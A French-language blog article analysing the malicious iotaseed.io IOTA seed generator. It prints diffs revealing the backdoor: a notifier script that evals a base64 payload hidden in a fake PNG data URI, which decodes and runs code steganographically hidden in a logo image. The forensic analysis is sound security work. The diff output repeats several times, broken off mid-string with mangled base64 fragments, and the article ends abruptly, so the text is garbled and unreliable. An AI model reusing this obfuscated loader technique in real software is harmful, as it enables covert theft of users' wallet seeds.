Comment un générateur de phrases de site malveillant a permis de voler 4 millions de dollars

Ars Techica a récemment publié des informations décrivant comment le générateur de phrases de graine iotaseed.io iotaseed.io, qui était malveillant (et ne fonctionne plus), a permis à son créateur de voler pour près de 4 millions de dollars de crypto-monnaie IOTA dans les portefeuilles des utilisateurs.



Selon la description de la publication, le site Web «stockait des données sur chaque phrase source générée ainsi que des informations sur le portefeuille auquel il était associé, permettant aux propriétaires du site Web (ou à ceux qui l'ont piraté) d'attendre simplement que les jetons arrivent sur les portefeuilles, puis les retirer de vos comptes. " Dans cet article, j'ai décidé d'étudier le côté technique de cette arnaque.

Nous recherchons un code


La version originale du site iotaseed.io a été remplacée par un message indiquant qu'elle est désactivée. Heureusement, Wayback Machine a conservé une copie du site.

Le site Web mène à un référentiel github, avertissant les visiteurs que le code est ouvert pour examen, mais recommandant aux utilisateurs de générer des graines sur le site Web lui-même, car le référentiel peut contenir du code plus récent et non encore testé.

Sur la base de ces informations, j'ai supposé que le code malveillant n'agissait que sur le site et qu'il n'était pas dans le référentiel. Une telle approche permettrait de masquer des fragments de code utilisés pour voler des graines. Le référentiel ne contenait que du code propre qui ne soulevait aucune question ni suspicion. Cela expliquerait la recommandation d'utiliser uniquement le site Web et non le référentiel. Si cela est vrai, toute tentative de comparer JavaScript sur le site avec JavaScript dans le référentiel Github entraînerait une détection évidente d'une porte dérobée sur le site.

Malheureusement, le référentiel imtqy.comtaseed.io fait référence au norbertvdberg / iotaseed déjà supprimé (le compte a également été supprimé). Wayback Machine n'a enregistré que la page principale du référentiel. En réponse aux tentatives de consultation du code ou de téléchargement de son archive zip, WM déclare que ces pages n'y ont pas été archivées. Néanmoins, en regardant le compteur de fourches dans le coin supérieur droit, nous pouvons constater que ce code a été bifurqué par 8 comptes différents. Après avoir vérifié l' article correspondant dans la base de connaissances GitHub, nous apprenons que la suppression du référentiel n'affecte pas le travail de ses fourches. Cela signifie que des copies de ce référentiel peuvent encore exister quelque part dans l'immensité du service.



Une recherche rapide des validations visibles dans une copie de la page enregistrée par Wayback Machine vous permet de découvrir les éléments suivants:



On dirait que eggdroid / eggseed3 est l'une des fourchettes du code iotaseed.io d'origine. Les 26 commits sont effectués par norbertvdberg, c'est-à-dire le même utilisateur-propriétaire du référentiel d'origine. Maintenant que nous avons à la fois un site Web et des fichiers JavaScript du github, il est temps de les comparer et de trouver la différence.

Analyser le code


Le générateur de graines se compose de nombreux fichiers JavaScript différents combinés en un all.js fichier all.js réduit à all.mini.js. C'est lui qui a en fait été utilisé sur la page. Par conséquent, je l'ai comparé avec le même fichier js de la copie WM enregistrée.

 $ shasum all-website.mini.js all-github.mini.js 3d48933698d8cf1d1673067d782595c12c815424 all-website.mini.js 3d48933698d8cf1d1673067d782595c12c815424 all-github.mini.js 

Malheureusement, les deux fichiers se sont avérés être les mêmes. En fouillant dans le code, j'ai remarqué qu'immédiatement après la génération du portefeuille, Web Worker a commencé à générer des codes QR et des données pour la version papier du portefeuille. Le code de ce travailleur se trouve dans un autre all-wallet.mini.js . Peut-être que quelque chose y était caché?

Les versions de ce fichier du site et de la copie WM semblaient différentes, j'ai donc exécuté les deux fichiers via js-beautify , puis les ai comparés avec diff pour voir les différences spécifiques.

 $ diff all-wallet-website.js all-wallet-github.js 1313c1313 < t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://web.archive.org/web/20180120222030/http://localhost/", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest) --- > t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest) 1713c1713 < this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/", this.token = t --- > this.provider = e || "http://localhost:14265", this.token = t 1718c1718 < this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/" --- > this.provider = e || "http://localhost:14265" 6435c6435 < website: "http://web.archive.org/web/20180120222030/https://iota.org/" --- > website: "https://iota.org" 6440c6440 < url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues" --- > url: "https://github.com/iotaledger/iota.lib.js/issues" 6444c6444 < url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git" --- > url: "https://github.com/iotaledger/iota.lib.js.git" 

Mais la seule différence était que la Wayback Machine a réécrit certaines URL pour pointer vers web.archive.org . D'un point de vue fonctionnel, le code de génération de graines dans les deux fichiers s'est avéré être le même.

Après cela, j'ai décidé d'examiner de plus près index.html et j'ai remarqué le chargement d'un autre javascript de la bibliothèque d'alertes , que j'ai ignoré en premier. J'ai fait les mêmes manipulations avec sa copie WM enregistrée et la copie du référentiel et le code suspect sont devenus évidents:

 $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < }, données: image / png; base64, iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A / wD / oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo / h4eEzODbm5 + eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03 / 9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q, ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4 + MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7, TbRznoTD3oTD1JR0iX $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < }, zMnj4 + PW19VGRkbqPi7v7 / D6 + vr09fXyTj4rKSvhSTo / Pj / oSDnlMyLsNCI0MTP0 /// tTT7ZRjizOi + 6PDDmLRyenZ7oKRfExMT / TzvobGEVFBWGhYUAGjLW8 / ToXVADLUZ8e33 / 2tfRRTdWVFTFQDT1u7aSkZIADib + 5eFwcHHW + / + z70tDwkIesPTPW6 teXV2xsbG7u7vY4 + Lre3DMzM2qp6jilIxsPT7lg3kdO07m / f4AJjuwsJzftK / fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f + 8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF / o64s + $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < }, v1fpVECdtPSy5822Bi + JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4 + 4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4 / BDMEQ6RM + oNQ6vjJyWFTNTDJlau0e1drAO + Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN + T + Uogmu2QR5ucsaXuV6w1hat $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < }, whvwdzafABTh / 